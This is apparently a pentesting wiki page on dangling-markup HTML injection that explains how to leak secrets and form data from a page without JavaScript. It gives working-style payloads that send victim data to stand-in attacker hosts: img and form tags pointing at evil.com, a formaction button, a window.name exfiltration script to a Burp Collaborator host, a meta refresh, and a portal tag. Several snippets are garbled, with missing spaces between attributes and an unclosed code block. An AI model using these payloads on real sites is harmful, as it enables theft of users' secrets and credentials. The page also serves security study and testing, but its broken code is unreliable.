This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](xss-cross-site-scripting/)but you can **inject some HTML tags**.\
It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution.
Several techniques commented here can be used to bypass some [**Content Security Policy**](content-security-policy-csp-bypass.md) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...).
If you inject `<img src='http://evil.com/log.cgi?` when the page is loaded the victim will send you all the code between the injected `img` tag and the next quote inside the code. If a secret is somehow located in that chunk, you will steal i t(you can do the same thing using a double quote,take a look which could be more interesting to use).
You could also insert a `<base` tag. All the information will be sent until the quote is closed but it requires some user interaction (the user must click in some link, because the base tag will have changed the domain pointed by the link):
Set a form header: `<form action='http://evil.com/log_steal'>` this will overwrite the next form header and all the data from the form will be sent to the attacker.
### Stealing forms 3
The button can change the URL where the information of the form is going to be sent with the attribute "formaction":
```markup
<buttonname=xsstype=submitformaction='https://google.com'>I get consumed!
```
An attacker can use this to steal the information.
and this input field will contain all the content between its double quote and the next double quote in the HTML. This attack mix the "_**Stealing clear text secrets**_" with "_**Stealing forms2**_".
You can do the same thing injecting a form and an `<option>` tag. All the data until a closed `</option>` is found will be sent:
`<noscript></noscript>` Is a tag whose content will be interpreted if the browser doesn't support javascript (you can enable/disable Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript)).
From this [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) you can learn that even from the **most CSP restricted** environments you can still **exfiltrate data** with some **user interaction**. In this occasion we are going to use the payload:
```markup
<ahref=http://attacker.net/payload.html><fontsize=100color=red>You must click me</font></a>
Note that you will ask the **victim** to **click on a link** that will **redirect** him to **payload** controlled by you. Also note that the **`target`** attribute inside the **`base`** tag will contain **HTML content** until the next single quote.\
This will make that the **value** of **`window.name`** if the link is clicked is going to be all that **HTML content**. Therefore, as you **control the page** where the victim is accessing by clicking the link, you can access that **`window.name`** and **exfiltrate** that data:
```markup
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Misleading script workflow 1 - HTML namespace attack
Insert a new tag with and id inside the HTML that will overwrite the next one and with a value that will affect the flow of a script. In this example you are selecting with whom a information is going to be shared:
Notice that a **child document can view and set location property for parent, even if cross-origin.** This means that you can make the client access any other page by loading inside an **iframe** some code like:
You could use **`meta http-equiv`** to perform **several actions** like setting a Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` or performing a redirect (in 5s in this case): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
This can be **avoided** with a **CSP** regarding **http-equiv** ( `Content-Security-Policy: default-src 'self';`, or `Content-Security-Policy: http-equiv 'self';`)
You can find a very **interesting research** on exploitable vulnerabilities of the \<portal tag [here](https://research.securitum.com/security-analysis-of-portal-element/).\
At the moment of this writing you need to enable the portal tag on Chrome in `chrome://flags/#enable-portals` or it won't work.
```markup
<portalsrc='https://attacker-server?
```
### HTML Leaks
Not all the ways to leak connectivity in HTML will be useful for Dangling Markup, but sometimes it could help. Check them here: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
You can find techniques like **CSS injection or Lazy Load Images** explained in this post to **leak secrets from a HTML without JS execution char by char**: